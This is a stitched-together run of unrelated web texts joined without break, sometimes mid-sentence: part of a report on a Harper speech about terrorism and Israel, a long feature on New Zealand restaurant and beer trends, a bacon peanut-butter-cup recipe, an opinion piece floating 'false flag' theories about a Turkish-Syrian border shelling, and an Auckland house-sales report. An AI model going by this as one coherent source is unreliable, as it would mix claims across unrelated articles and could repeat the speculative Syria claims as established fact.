Harper also invoked the murders of Canadians soldiers in St-Jean-sur-Richelieu and on Parliament Hill, the radicalization of youth in Montreal and foiled terrorist plots on Canadian soil, such as a plot to derail a VIA Rail train. And he defended his Conservative government’s military support of Western nations’ battle against ISIS and the new anti-terrorism legislation, Bill C-51, which contains increased powers for the Canadian Security Intelligence Service and measures to criminalize the promotion of terrorism.
He also referred to another piece of legislation his government is proposing to prevent dangerous foreign criminals from remaining in or entering Canada.
On foreign policy, Harper said that wanting humanitarian assistance for the people of Iraq and Syria is no excuse for opposing military action against ISIS. “Canada can do both, Canada should do both and Canada is doing both.”
The crowd gave Harper several standing ovations during his speech.
“Canada,” Harper said near the end of his 20-minute speech, “will continue to stand by Israel through fire and water.”Rose Hoare speaks to chefs, architects, critics and hospitality identities to evaluate the state of the art in eating and drinking – without once using the word ‘foodie’.
Even trends are getting trendier
Let’s address the elephant in the room right away: kale has peaked. Although still popular with dairy cows as a winter feed option, it has been on the slide in New Zealand since January last year, according to Google Trends. And if you think I’m going to be talking about cronuts, you can forget it. They flatlined shortly after appearing in 2013, and I feel embarrassed for you that you even asked me that.
It’s odd that what we eat and drink can be considered so culturally significant that it competes for space alongside Blac Chyna and national elections in news headlines but, apparently, such is the mystique of doughnuts.
Blame the appeal of charismatic TV chefs like Jamie Oliver (who people love because he doesn’t measure anything) and Nigella Lawson (sexy) and Gordon Ramsey (good swearing). Blame the popularity of cooking shows like Masterchef and My Kitchen Rules and Chef’s Table, which has just been renewed for three more seasons.
Blame Instagram, with its ability to popularise things like kale salads and rainbow lattes, which look much better than they taste. Blame René Redzepi, a very thoughtful and serious innovator, whose careful experiments in reinventing Nordic cuisine at his Copenhagen restaurant Noma have spawned so many imitators.
For whatever reason, it seems that in the last 15 years or so, we have come to care about food and drink more than ever. “A lot more people are eating out than used to,” says food writer Ray McVinnie. “People are choosing to spend their money on restaurants, whereas they didn’t use to. Food is taken a lot more seriously than it used to be.
“I watched two old guys on a train in Italy once, discussing how you make spaghetti carbonara for two hours. I spoke to a woman about ricotta for two and a half hours. We don’t take food quite that seriously or have that very special relationship with food that old cultures have, but I think we’re getting towards it.”
These days, bars and restaurants, their customers, and the social media that brings them together, all thrive on novelty. Going out has become a trend-hunt, which has driven – or forced – more innovation.
John Hellebrekers, who as managing director of Barworks oversees 19 Auckland venues, says people decide where to go out based on what’s trending. “You need to keep introducing new flavours that people are craving,” he says. “Social media has made it speed up and it means people aren’t as loyal. Instead of going down to your local on Saturday night, people are wanting something they haven’t experienced before.”
In Auckland, new bars and restaurants open every day. There are already around 9,000 food premises, and for the last four years, Auckland Council has been approving new licences at a rate of around 700-800 a year, making Auckland a tough place to compete – or even find staff.
“There’s not been the growth of people working in hospitality, relative to the growth of the industry,” Hellebrekers warns. “If we didn’t have immigrants coming in to fill these positions, we’d be in dire straits, really. There’s pressure on HR, there’s pressure on wages to increase, and it’s not going to get any better because of the growth of tourism.”
Dining precincts like Ponsonby Central and CityWorks Depot in Auckland, Eat Streat in Rotorua, or Leed Street in Wellington are having some success by offering punters more choice. And large hospitality groups like Barworks, The Hip Group and The Nourish Group can similarly hedge their bets, spreading risk and discovering operational efficiencies and economies of scale.
To survive, bar and restaurant owners need to figure out how to move with the times. “Due to fit-out costs and increasing rents and labour costs, I think you’ll see more smaller venues being built,” Hellebrekers predicts. “You might open a venue with a certain style, but you’ll know in the back of your mind that in three years’ time it’s going to be a different concept.”
Although punishing for owners, the intensified interest and competition has meant that the overall quality of our restaurants has improved, and even your average mid-range pub will now have chef-y flourishes on the menu.
In 2000, if you’d walked into one of the joints crammed in on Auckland’s waterfront, you’d probably have had a choice of three or four beers on tap and an overpriced menu of basic greasies. If you didn’t like it, you could suffer in your jocks.
Today, if you wandered into The Crew Club, a vast gastro-pub near the Maritime Museum, you could have a kedgeree with ras el hanout, pickled egg, mussels and golden raisins for your brunch (the fact that you could have brunch at all is pretty revolutionary), or a paleo chia custard thing if you’re health conscious, or interesting dishes like Hawaiian poke. There are five low-strength beers to choose from – that’s just the low-strength beers – and you know the food will be good because the chef just came from Clooney.
Increasingly, the distinction between high-end and cheap-and-cheerful is blurring. In fact, everything’s blurring! Where restaurants used to offer food service, café service and bar service in order to reach as many people as possible, these days, restaurants, cafes and bars are all narrowing what they offer.
“Cafés have gone in their own direction, extracting this and cold drip that,” explains Renee Coulter, who co-owns popular Auckland bistro Coco’s Cantina with her sister Damaris. “There are places that have stripped it right back to where you just get your shot of coffee at the bar, through to the full brunch with table service thing. Bars have done the same. Each area is getting fine-tuned and everyone’s defining what they do.”
“And within restaurants, everyone’s defining what they do. Apero is a good example: people are like, what are you? Why don’t you be a restaurant with more choices? They’re like: we wanna be a bar that does amazing food.”
Perhaps a sign of how fluid everything’s getting: Coco’s Cantina will turn half of its space into a bar with no table service, while half will continue to be semi-fancy dining.
Increasingly, New Zealanders are just looking for more options. They want somewhere they can go out for a few drinks, eat some nice food (without killing the vibe), and to have the option to go somewhere else afterwards. They’re eating out more, but at a lower price point. They’re embracing beer as a food match in a way which was once the exclusive preserve of wine.
Places that are narrow in concept or single-proposition (meaning they specialise in one type of thing) and low-cost (meaning that thing is cheap to make) are reaping the profits, while the closure of Hammerheads and Kermadec in Auckland suggests that serving expensive seafood in a huge waterfront space – something that used to represent the pinnacle of New Zealand hospitality – now seems like a great way to lose money. Tellingly, at SkyCity’s newest restaurant, the signature dish is a $13.50 cheeseburger.
Ready to gaze into the crystal ball? Here’s our pick of the trends worth paying attention to (read on for the detail).
1. Everyone wants to be healthy (by day)…
More interest in food has lead to more knowledge about food, and those offering menus free from artificial flavours and colours, immodest levels of salt and sugar, and gluten-free and dairy-free alternatives are poised to do well. If you don’t believe us, ask McDonalds.
2. …And unhealthy by night
Inspired by monster success stories in London and New York, gourmet burgers have spread throughout Auckland, proving that high-end treatment of low-brow food (aka drinking food) can be big business. If you can make it fast enough.
3. Please, let’s stop saying ‘modern ethnic’
Although French cooking techniques are still highly valued, old cultural hierarchies are toppling and, in a country with growing migrant populations, a more careful and personal exploration of different cuisines is emerging.
4. Food your grandmother would recognise
With arcane and tricky dishes on the rise among Serious Young Chefs, now more than ever there’s an increasing appetite for food that doesn’t exhaust the intellect or cry out for attention.
5. Behind the smiles: service with integrity
Natural organisers and motivators, some of the best behind-the-scenes people in hospitality are coming up with new ways to offset the industry’s inherent hedonism.
6. Beer drinking: will craft go mainstream?
Craft is exploding in an otherwise low-growth beer market. But beer is experiencing a 40 year trend of very gradual decline. Will craft and other growth areas – including premium, low-alcohol and cider – help reverse that phenomenon?
7. Interiors
How open kitchens make your food taste better, and why the niching of the industry might mean restaurant and bar fit-outs will get crazier.
1. Everyone wants to be healthier (by day)…
“Clean eating” – the practice of favouring whole foods, the rawer the better, and avoiding gluten, sugar, dairy and meat – has been accused of being an eating disorder, deemed anti-feminist, and lampooned as unobtainable. But it’s rooted in a widespread and thoroughgoing concern about nutrition that’s trickling up, down and sideways into every level of food service, so even if you think it’s a bunch of bollocks, history will prove you wrong.
Research suggests that people now seek out gluten, wheat and dairy-free products, regardless of whether they have food intolerances, because they think they’re healthier. Traceability, sustainability and efforts to minimise waste are also increasingly on customers’ minds, and are therefore increasingly a selling-point.
Around the world, businesses are scrambling to cleanse their menus of undesirable ingredients, or offer healthy alternatives.
Describing itself as “the world’s leading nutrition, health and wellness company”, erstwhile chocolate giant Nestlé announced it’s replacing the Red 40 and Yellow 5 in its American chocolate bars with natural ingredients, and its new candies will be free from artificial colours and flavours. Even McDonald’s is phasing out some of the human antibiotics its chickens are fed. A real treat for us!
This context makes it easier to understand the success of Little Bird Organics, which launched in 2010 with a range of organic macaroons, granola and crackers, and has since expanded to involve three Auckland cafés serving dishes free from dairy, gluten, cane sugar and soy. They make their own nut milks, nut cheeses and coconut yoghurt from scratch, and since opening, they’ve been fully cranking.
Founder Megan May was as surprised as anyone that her first “unbakery” was an instant hit. “It was an odd combination of people who had been waiting for something like this for a really long time — people like me — and, because we were at the beginning of a trend, you’d get all the fashion people,” she says.
Although she was initially careful to make everything taste traditionally yummy, May has noticed that her core customers now crave the grassy, sour, bitter flavours of things like ginger, turmeric, and lemon.
“Whether it’s through us, or regular cafes that are serving green smoothies, people are getting a taste for it. I was totally addicted to sugar as a kid, but actually this food can be really addictive as well. It makes you feel a bit cleaner. It’s like having a shower, almost.”
Next, May plans to introduce more herbs and mushrooms from Chinese medicine, which she says, “can come with some interesting flavour [that is] a little bit harder to jazz up”.
2. …And unhealthy by night
What’s paradoxical about the rise of clean eating is the concomitant rise of ‘elevated’ street food. We’re eating chia granola and drinking charcoal smoothies by day, then gorging on gourmet burgers and fried chicken after dark.
Burgers, in particular, have gone from being perceived as “what fat people eat”, as food writer AA Gill puts it, to being cool. Maybe not as cool as drugs, but just as much a part of a big night out for hipsters in London, Paris and New York, where the trend originated.
In 2000, decorated New York chef Danny Meyer opened a concession stand in Madison Square Park called Shake Shack, serving basic but good-quality burgers made with 100% natural Angus beef patties. By the time it listed on the NY Stock Exchange last year, Shake Shack was valued at US$1.6 billion and it’s just one player in a global market that’s still growing.
In Auckland, Ryan Kneebone and Adam Crickett cook burgers sporadically at pop-up events as The Bearded Clam. Their patties are high-grade beef cooked medium-rare, and their brioche bun was developed carefully by Crickett, but they use pre-sliced Mainland catering cheese, Heinz ketchup, French’s mustard and Best Foods mayo, because their intention is to approximate a McDonald’s cheeseburger, “in a controlled, boutique sort of way”.
Crickett says they’ve struggled against a Kiwi preconception that a gourmet burger ought to have frilly lettuce, red onion and tomato, no matter what. “The ‘aioli and relish burger’, I call them,” Crickett says.
But the fact that there’s now four other restaurants doing similarly American-styled burgers in the central city alone suggests consumers are catching on. For those who don’t have the money or the will to sit in a restaurant for hours spending big bucks on a three-course meal, gourmet burgers are cheap and quick, and, crucially, pair very well with beer.
They’re also both accessible and exclusive: there’s nothing intimidating about a cheeseburger, but if you add recherche ingredients like kimchi, they become something special.
Burgers are at the sweet spot where convenience, price and novelty – but not too much novelty – meet. They’re hipster comfort food that, like fried chicken, gourmet hotdogs and other elevated street foods, taste that much better once you’ve had a couple of beers.
3. Please, let’s stop saying ‘modern ethnic’
Although New Zealand’s population is still three-quarters European, Auckland is a different story. A quarter of the city now identifies as Asian, with Indian, Chinese and Filipino the most common ethnic groups. Thanks to these and other migrant populations, a lot of New Zealanders are now at ease eating and cooking lots of different cuisines, and exploring how their flavours can be reworked.
Parallel with this exploration is a growing awareness that a chef from one ethnic background might be interested in cooking the cuisine of another ethnicity (an Indian chef might be good at cooking French food, for instance). And, just as freaky, a chef from a particular ethnic background (let’s say Portuguese) might tinker with his or her own parent cuisine, creating dishes that are not, strictly speaking, “authentic” or “traditional”. One might call these dishes “Modern Portuguese”, to reflect the departure from tradition. (Or, if it’s a non-European cuisine being reworked, the cringey designation “modern ethnic” apparently covers all.)
Although French cooking techniques are still highly valued as a building block for experimentation, old cultural hierarchies have toppled. The clearest proof is that some of the country’s best formal restaurants serve careful or playful interpretations of cuisines that used to be relegated to the ‘cheap and cheerful’ category: Thai, Indian, Japanese, Vietnamese, Chinese, Korean and Middle Eastern.
Ten years ago, diners might have blanched at paying more than $10 or $12 for Indian food, and may have been confused to find an Indian restaurant that doesn’t do butter chicken or rogan josh. This year, Metro magazine’s Restaurant of the Year is a fine dining Indian restaurant that does paneer and goat’s cheese fritters ($30), a duck and chicken ‘stirfry’ with kadhai spices ($38), really elegant, finely-wrought desserts, and a gin-focused cocktail list that helps keep the vibe ‘buzzy’.
But before opening Cassia in 2014, chef Sid Sahrawat had probably cooked Italian more than any other cuisine. As a youngster, he did a hotel management course in Chennai, then an apprenticeship in Oman, where he cooked in a busy hotel restaurant called Tuscany. He came to New Zealand in 2000, aged 20, and worked at Toto and Non Solo Pizza for three years.
He and his wife Chand dreamed of opening a restaurant like Cassia. Instead, he opened his degustation restaurant, Sidart, building it into something that’s earned three hats in Cuisine’s Good Food Guide and been voted Auckland’s #1 restaurant on Trip Advisor.
At Cassia, he’s showcasing the dimensions of flavour and the variation that make Indian food so interesting, using classic French cooking techniques, and New Zealand produce like pumpkin, kale and kumara.
“If I’d opened Cassia before Sidart, it might not have been as big a success as it is now, although it’s hard to say,” Sahrawat says. “We’ve had a lot of people come here because they trust what we’ve done in the past. There’s a great sense of positivity in Auckland diners at the moment. People are very accepting of everything going on here. Half of our diners let the front of house pick for them.”
4. Food your grandmother would recognise
A couple of years ago, a decorated food writer skewered the trend for highly innovative, highly finicky food, painstakingly compiled with tweezers by young men seeking to push culinary boundaries, in the footsteps of Rene Redzepi.
“This is the first food development in America that exists not because customers are eager for it but because chefs insist on doing it,” sniped food writer Alan Richman, labelling the style ‘New Nordic Dude Food’ and “Egotarian” cuisine.
This struck a chord with chef David Bach. He’d been cooking at places like Lyles in London (reviewed as “disgustingly cool” by The Telegraph) and Le Chateaubriand in Paris (credited with establishing Paris’ ‘neo-bistro’ trend). When Bach returned home this year, he wanted to work at Siostra in Auckland’s Grey Lynn, run by Esther Lamb (front of house) and her sister Beki Lamb (head chef).
Siostra is a pretty straightforward neighbourhood restaurant, but often there are small but appreciable flourishes of nostalgia on its menu. A popular entree there is devils on horseback – tea-soaked prunes wrapped in bacon – which dates back to Victorian times and, I can attest, was still a smash-hit party snack in Northcote in the 1980s.
Other retro gestures have included a gribiche sauce (you’ll find a recipe in Elizabeth David’s 1960 classic, French Provincial Cooking), scallops served on the half-shell, slow-cooked classics like veal ossobuco, and old-school ingredients like brussels sprouts and crab meat.
The devils were inspired by April Bloomfield, a British expat and traditionalist who cooks Michelin-starred gastro-pub fare at The Spotted Pig in New York, and Esther says they’ve become an unalterable part of the menu. “People are kind of amused and pleased,” she says. “They’re quite affectionate about that dish.”
With arcane and tricky dishes on the rise amongst Serious Young Chefs, perhaps now more than ever there’s an increasing appetite for food that doesn’t exhaust the intellect.
Although you’d think there’d be less glory for a chef who refrains from putting their own ‘modern twist’ on classic dishes, serious reviewers have been unstinting in their praises of new restaurants cooking retro food.
In New York earlier this year, two chefs who’ve won Michelin stars for their Thai food opened Mr Donahue’s, where you can eat roast beef with onion rings and ranch dressing, rotisserie chicken, or shrimp cocktail at a doily-lined table, on plates “happily crammed with food, as if composed by someone who cares less about presentation and more about how much you’re getting to eat.”
“We’re not supposed to want to eat this way anymore,” the New York Times confided, describing the sensation evoked by this kitschy food as one of “gratitude”.
The same month in Sydney, a big hospitality group opened Restaurant Hubert, a brand new venture with food and décor that mimics a post-war French bistro, serving chicken fricassee in tarragon gravy, oeufs en gelée, and creme caramel, which you eat surrounded by wood panelling and red velvet drapes. The only thing that feels genuinely new about Hubert is how faithfully it follows tradition. The Good Food Guide, which gives out the chef’s hats that are Australia’s answer to Michelin stars, actually went all caps for its review: “I LOVE THIS PLACE”.
“People respond incredibly positively to that Michael Pollan thing of food your great-grandmother would recognise,” Esther says. “It’s not about trying to make us look good, it’s trying to deliver something to the customer that makes them feel restored and nourished and welcome. I think those old standards are appealing to people for that reason.”
5. Behind the smiles: service with integrity
One feature of working in the hospitality industry is being treated to an endless parade of hedonism on the restaurant floor, seeing a constant flow of perfectly good food wasted in the kitchen, while knowing that 29% of New Zealand kids are growing up in poverty, homelessness is on the rise and climate change is going to do us all in if we don’t get it together soon.
Happily, some of the most successful people in hospitality in New Zealand are coming up with ways to offset the industry’s innate extravagance. This, more than anything else, is the most significant trend to have emerged in service lately.
It was only a year ago that one of New Zealand’s greatest chefs, Michael Meredith, and partner Lisa King launched Eat My Lunch, a scheme whereby a lunch bought means another lunch is donated to a hungry schoolkid. Today, Eat My Lunch makes close to 1,300 lunches a day for Auckland schools. (Meredith was there at 5.30am making sandwiches the morning after his restaurant won Metro’s Fine Dining Restaurant of the Year award). In June, a crowd-funded social bonds scheme was launched to raise money for the next phase, which will involve launching operations in Wellington.
At his super-fancy restaurant, Meredith also supports charities for two-month stretches, raising tens of thousands of dollars by offering a weekly 4-course degustation menu for a donation.
Meredith sees this flow of support from a fine dining restaurant to the wider community as entirely natural. “People want to help,” he says. “Giving from our hearts is a big thing for most people. That’s how it works: Eat My Lunch works because people want to do something.”
At Coco’s Cantina, initiatives that serve the wider community are baked into the business. On Fridays, they take a cooked meal to the NZ Prostitutes Collective nearby, and unsold food goes to the City Mission.
“There are people who do way more than us but we’re a busy restaurant, so we have just incorporated systems into our own,” Renee says. “Instead of making one staff dinner on Friday, we make two.”
“Running a business like that is more time-consuming. Boxing up all the stuff to take down to the Mission is an added cost that people don’t put into their business model, but we do, because we hate waste and we hate inequality,” Damaris says. “I’m amazed at people who just look after their own lives. What a fucking luxury – to just go to work, get paid and look after you and your family. To me, that’s unbelievable luxury.”
That hatred of inequality can also be seen in how Coco’s staff relate to customers. Extremely popular with a young, lively, occasionally messy crowd, with long wait times for tables on some nights, a style of service has evolved that’s more casual, more genuine, and more empowered, with a non-traditional assumption of equality between staff and customers.
In the ’90s, when both sisters first began waitressing, Damaris explains, the style of service was “a lot more pretentious, but not as knowledgeable or sophisticated”.
“Back in the day, if you were serving a table, you sort of had to laugh at their shit jokes, you had to go along with their conversation, you had to ignore racist comments. You even had to ignore hands on the small of your back or lower down,” Damaris says.
“Here, if you wanna come out for dinner and get into conversation with our waiters, be prepared to hear their opinion. They’re not gonna give you something regurgitated. They’re definitely not gonna have one hand behind their back. And if you are racist, you have to go.”
“The whole ‘customer’s always right’ thing doesn’t apply here,” Renee says. “On every situation, it’s equal. Something’s happened? Let’s fix it. I don’t care who is the problem. I’ll just fix the problem, and we’ll split the mistake, or, if we completely dropped the ball, I will own it.”
This ethos might sound alienating for customers, but Coco’s has attracted a like-minded and loyal clientele, which just goes to show that New Zealanders are getting better at accepting a restaurant on its own terms, whatever they might be.
Staff are supported to be themselves, but they’re also trained in the kind of imaginative empathy that keeps them grounded.
“You have to drill this into staff, and remind them: how would I be serving my Poppa, who can’t hear?” Renee says. “Would I turn the music down for him? How would I be serving my parents who are a bit awkward and don’t go out that much? My Dad can come across gruff. He’s the loveliest man in the world – so generous, so honest, so hard working – but he can come across gruff, and he might not say please or thank you. When something becomes confusing, my Mum might get a little bit defensive and that’ll come across as rude. You have to train staff to recognise that hey, no one is instantly rude. You have to give them leeway.”
This is something that’s hard to judge, unless you are that rare thing in hospitality: a highly experienced waiter. It’s often assumed that New Zealand needs more long-term hospitality staff to establish a more professional service culture. Renee doubts that’s attainable or even desirable.
“Everyone has a timeframe where they can be in hospo and then you get burnt out. It’s hard being a waitress 10 years later, 20 years later, polishing cutlery at two o’clock in the morning, cleaning up vomit, dealing with customers… We could ask ‘how do we get the professionalism and retain long term staff’, but then again, you don’t want grumpy waiters.”
6. Beer drinking: will craft go mainstream?
New Zealand’s beer industry is going through an intriguing growth spurt. Overall, we’re drinking less beer than we used to – a paltry 64 litres per capita, which is a lot less than Australia. In bars and pubs, owners say the lowered drink-driving limit has affected sales, and other looming legislative changes threaten to kill nightlife in key inner city precincts.
But there are way more people making beer than ever before. Incredibly, New Zealand now has 130 breweries. There’s been a 63% increase in home brew equipment listed on TradeMe in the last 12 months, while in the past two years, New Zealand-made craft beer has experienced its first big boost in sales, expanding by more than 40%.
And while the traditional middle New Zealand brands are in decline, premium beers are growing strongly – up $35m in five years – which suggests that everyone is getting a little more fancy-feast in their beer choices. We’re becoming a nation of beeries!
Nowhere is this more apparent than the new Brothers Brewery in Mt Eden. A brewery and bar with a narrow and basic but delicious menu, the place is rammed with young families on weekends. It caters for both the emerging craft beer nerd market, wanting to sample experimental limited runs, while also selling many jugs of more sessionable lagers and pale ales from Brothers and others.
The thing with craft is it’s a continuum – all those deeply serious conversations about flavour profiles and hoppiness, and all the cool new specialist craft beer bars opening tend to mask the fact that craft beer is still a small segment of the total market: shockingly, all of New Zealand’s craft beer sales put together is less than the sales of DB’s Export Citrus alone.
But even big breweries like DB, who commissioned this story, are excited about it. It’s gotten people talking about beer, it’s improving customer knowledge. Most importantly, it’s driving the average punter out of a rut.
“When I was a kid, you’d walk into a pub and there’d be six beers on tap,” says DB’s Auckland beer ambassador Steve Fabrello. “I’m currently putting in a bar in Hamilton that will have 18 brands on tap. The consumer’s palate and interest has grown so much that they want to experiment. Generally, they go back to what they know, but people are being adventurous, when, for such a long time, people would buy what they knew.”
John Frith, DB’s South Island ambassador says this can be a blessing and a curse for small brewers. “One thing craft breweries struggle to do is get past the third batch, because the craft beer drinker is not as loyal, because they want to try different things. The volume will stutter as the craft drinker waits for the newest release.” Other tiers of craft beer fan are closer to mainstream beer fans in their behaviour, resulting in craft breweries adding more-sessionable IPAs and lagers to their line-up to maintain their initial growth. It’s a trend seen in New Zealand’s flagship new generation craft breweries, with Tuatara, Liberty and Garage Project releasing more accessible beers in price-pointed six packs over the past year.
In this respect, they’re starting to meet bigger breweries in the middle, as the likes of Monteith’s release higher alcohol and hop-heavy APAs in 500ml bottles, along with a greater range of limited and seasonal releases. And nearly all breweries, from the cultiest craft to the traditional giants, are bringing new lower-alcohol beers to the market which try to not sacrifice flavour on the way.
For hardcore craft beer drinkers, the most exciting trend on the horizon is sour beers, lambics and salt and coriander-inflected gose (pronounced more or less like the demon goddess Gozer at the end of Ghostbusters), which is even more challenging on the palate. But New Zealanders are increasingly used to encountering sour, tangy flavours in Korean and Malaysian food, and in probiotics like kombucha and Greek yogurt.
And anyway, it’s not like you’re going to have a six-pack of gose. You’re more likely to taste it, talk about it, and go back to your mainstay.
“At the biggest craft bar in Auckland (Brew on Quay), they have 100 beers, but the most sold, by volume, is Monteith’s Golden,” says Alex Biedermann, a master brewer at DB whose German accent makes his observations sound like a visiting professor’s field notes.
In the US, where the craft beer industry has had a couple of decades start on ours, flavoured beers are huge, with 80% more of them being launched over the last five years, as brewers look to convert more women to beer drinking. (Clearly this works: about a third of DB Export Citrus drinkers are not usually beer drinkers.)
Americans are also drinking five times as much cider as they did five years ago, New Zealand’s consumption is up too: amongst millennials, around 40% of women and 20% of guys are now drinking cider.
I was oddly relieved to hear that in back-country pubs, they’re still loyal to their local beer, and when they walk into a pub, the only decision they have to make is bottle or jug – with maths as the most critical driver.
“You enter Tui country and go into a pub which has a dozen beers on tap, and people are sitting around a table with a Tui quart bottle because they know that a quart is cheaper than the same volume coming out of the tap,” Biedermann says.
In Tui country, they may be less eager to try a gose, which I’ve seen described as tasting “like it had been squeegeed off the back of a German day labourer toiling in a coriander processing plant”. But as Steve Fabrello says, “There’s a process we’re going through, and it’s a staged process.”
7. Interiors
Restaurants and bars change their menus and cocktail lists every three months or so, but their interiors hardly ever, making the emergence of style trends more gradual.
Even so, hospitality fit-outs offer designers a chance to cut loose, and create something truly cutting-edge. Interior designer Paul Izzard, whose Auckland practice created the spaces for Woodpecker Hill, Baduzzi, Cassia, and The Blue Breeze Inn, says the most significant trend of the past decade was the rise of open kitchens. These can contribute a sense of buzz to an otherwise-empty space, they’re more aligned with the sort of transparency that consumers are increasingly demanding of producers, and they elevate the status of the chefs and kitchen-hands from sweaty nobodies to rock stars on stage.
They might also make the food taste better. A Harvard experiment found that chefs cook better when they can see their customers, and when customers and chefs can both see each other, customers are happier (by 17.3%) and service is faster (by 13.2%).
“Obviously when your kitchen is open, it’s going to be more expensive, because you’ve got to design it,” says Izzard. “The walls need to be tiled. You can’t just use grey lino everywhere. It’s a commitment, but it’s a commitment to quality, to customer service, and to design.”
Chefs aren’t the only ones being flung into the spotlight. In serious beer-worshipping bars like Black Dog Brewery in Wellington or Auckland’s Sweat Shop Brew Kitchen and Brothers Brewery, storage tanks, brewing equipment and beer taps become the focal point of the interior, creating the feeling that you’re drinking in a brewery. It’s not exactly industrial chic, but bars and restaurants are increasingly stripping back their decor to lay bare what it is that’s going on.
Izzard thinks the rise of single-proposition, low-cost venues and dining precincts will mean design can get more genuinely idiosyncratic. (Great news for anyone sick of that forcibly quirky, tryhard-homely aesthetic that overtook a lot of gastropubs and cafés over the past few years.)
“People can specialise and do one thing really well, and the guy next door is doing his thing, so in a space where you might have had something boring, you can have all this diversity.” This niching of the market will mean that, in design terms, anything goes. “You can open a restaurant using wheelbarrows for tables or have people sitting on old beer crates.”
You can glimpse this sort of DIY-madness-run-amok at Kiss Kiss, a new suburban restaurant in Auckland’s Balmoral that its owners designed to look like a Northern Thai streetfood market, but indoors.
The walls are marshmallow pink, there are big potted palms and giant green parasols that look like oversized cocktail umbrellas, and all of the tables are 10-seaters that, by night, are covered in a bright, kitschy plastic floral tablecloth. The cocktail menu is read off old Viewfinder toys, and the walls are accented with hot pink neon tubes and Illuminati-ish triangular mirrors.
Owner Celeste Thornley says she and her chef partner saved up to afford the construction. She sourced a lot of the fixtures and fittings online, asked builder and architect friends to help out, and drew design ideas from watching episodes of Vice Media’s cooking show, Munchies.
“We wanted it to feel quite clean and crisp when you’re eating café food during the day time, but at night the lighting is a lot different. It has a lot more impact.”
The response has been mainly positive. “Some people have said the interior feels cheap and nasty. I’m like ‘Well, it was not that cheap, let me tell you |
a lot of salty, bacony flavor surrounded by a thick shell of sweet milk chocolate. For those of you who prefer those dark chocolate or white chocolate Reese’s, feel free to use whatever chocolate you prefer. Enjoy!
Reese’s Peanut Butter Cups with BaconIngredients:
Three 11 oz. bags of Wilton milk chocolate melting wafers
One 11 oz. bag of Wilton peanut butter melting wafers
6 slices of bacon
Equipment needed:
3 ¼” mini-tart liners
Cupcake pan
1. Preheat oven to 350° F. Grease a cupcake pan and place 8 peanut butter wafers in each cup. Place in oven for 5 minutes or until wafers are melted. Use a toothpick to spread the peanut butter evenly over the bottom of each slot. Place in refrigerator to chill.
2. While peanut butter is cooling, melt the milk chocolate wafers in a double boiler. When peanut butter discs are cool, carefully remove them from the pan. Arrange the tart liners on a baking sheet or tray. Pour the melted milk chocolate into the tart liners, filling ¼ of the liner. Place the peanut butter discs on the melted chocolate and press down slightly.
3. Cut each strip of bacon so that it will cover the peanut butter. Do not let the bacon touch the edge. Add the rest of the milk chocolate so that it fills the tart liner.
4. Dice the remaining bacon strips finely for bacon bits and sprinkle on top. Place the tray in the refrigerator and chill for 30 minutes and devour.The Turkish-Syrian Skirmish Is Being Taken Out Of Context
The mainstream American press has trumpeted for days the claim that Turkey is “retaliating” for artillery fire coming from Syrian government forces on the Syrian-Turkish border near the town of Akçakale.
Because Turkey is a member of Nato (for 50 years), a declaration of war by Turkey could well drag Nato into a conflict.
The Turkish people don’t like the turn of events … thousands of Turks took to the the streets in Ankara and Istanbul after Turkey’s parliament approved military operations against targets in Syria following the mortar attacks.
The New York Times concedes:
It was unknown whether the mortar shells were fired by Syrian government forces or rebels fighting to topple the government of President Bashar al-Assad. The Turkish response seemed to assume that the Syrian government was responsible.
Many alternative news sources claim that this was a “false flag” attack to justify a Turkish attack on Syria.
Indeed, before the mortar attacks, Russia warned of such a possibility:
Russia expresses its concerns about the tense situation on the Syria-Turkey border and warns both to avoid tension. *** Russia has urged restraint between Turkeyand Syria so as to avoid possible cross-border conflicts while telling world powers that they should not seek ways to intervene in the Syrian war. Both Syrian and Turkish authorities “should exercise maximum restraint” since radical members of the Syrian opposition might deliberately provoke cross-border conflicts for their own benefits, Deputy Foreign Minister Gennady Gatilov said yesterday. The diplomat said Moscow has been worrying about the situation on the Syria-Turkey border… Turkey has sent a diplomatic note to Syria over the mortar bomb that hit the southeastern province of Akçakale on Sept. 28.
And false flag attacks have been planned to bring about regime change in Syria for 50 years (and the neocons planned regime change in Syria 20 years ago.)
But another possibility is that Syrian army forces were shooting at Syrian rebels near Akçakale and accidentally fired mortar a tad bit too far … across the border into Turkey.
Indeed, Turkey has been sheltering and training Syrian rebels, and Akçakale is a key Syrian rebel supply route, which has seen numerous skirmishes in recent months.
Turkey has also been testing Syrian air defenses by sending its fighter jets into Syrian air space, and has threatened intervention for quite a while.
Moreover, in March, the Brookings Institute called for a multi-front assault on Syria to effect regime change, which includes attacks from Turkey. In its report entitled “Assessing Options for Regime Change”, Brookings argued (page 6):
In addition, Israel’s intelligence services have a strong knowledge of Syria, as well as assets within the Syrian regime that could be used to subvert the regime’s power base and press for Asad’s removal. Israel could posture forces on or near the Golan Heights and, in so doing, might divert regime forces from suppressing the opposition. This posture may conjure fears in the Asad regime of a multi-front war, particularly if Turkey is willing to do the same on its border and if the Syrian opposition is being fed a steady diet of arms and training. Such a mobilization could perhaps persuade Syria’s military leadership to oust Asad in order to preserve itself. Advocates argue this additional pressure could tip the balance against Asad inside Syria, if other forces were aligned properly.
The bottom line is that we don’t know whether the recent mortar attacks near Akçakale were a false flag attack by the Syrian rebels to justify war by Turkey against the Asad regime or an attempt by Syrian government troops to hit rebels gone too far, and accidentally ending up in Turkey.
One thing is for sure: this incident can’t be taken in a vacuum, especially since a large proportion of the rebel fighters are Al Qaeda.By David Hargreaves
Auckland's biggest real estate firm Barfoot & Thompson is reporting a massive slump in sales during the past month in further evidence that the latest round of Reserve Bank LVR measures is starting to bite hard.
Sales by the company that normally accounts for around 40% of the house transactions in the Auckland region slumped by 27% compared with the same month last year.
The 778 properties sold was the lowest achieved by Barfoots in an October for five years.
The big drop in sales saw a large rise in the number of properties available for sale, with Barfoots having the biggest number available at the end of a month for some three years.
“At month end we had 3,711 properties listed, 21.3 percent higher than at the end of September,” managing director Peter Thompson said.
“The last time sales numbers fell this low in an October was in 2011, when the market was still not fully recovered from the 2007 Global Financial Crisis.
“It is yet another sign the Auckland market is losing its forward momentum."
Thompson said the new 40% deposit limit that investors must meet had a significant impact on sales in the under $500,000 price category.
"In spite of there being a reasonable selection of properties available, only 40 homes - or 5.1% of all properties - sold for under $500,000."
Thompson said that with the normal spring lift in sales activity "failing to arrive this year," the relationship between buyers and sellers "has moved into a more balanced position".
Higher priced houses were still selling well and the shift in balance of the houses sold - toward the more expensive ones saw both the median and average sales prices increase.
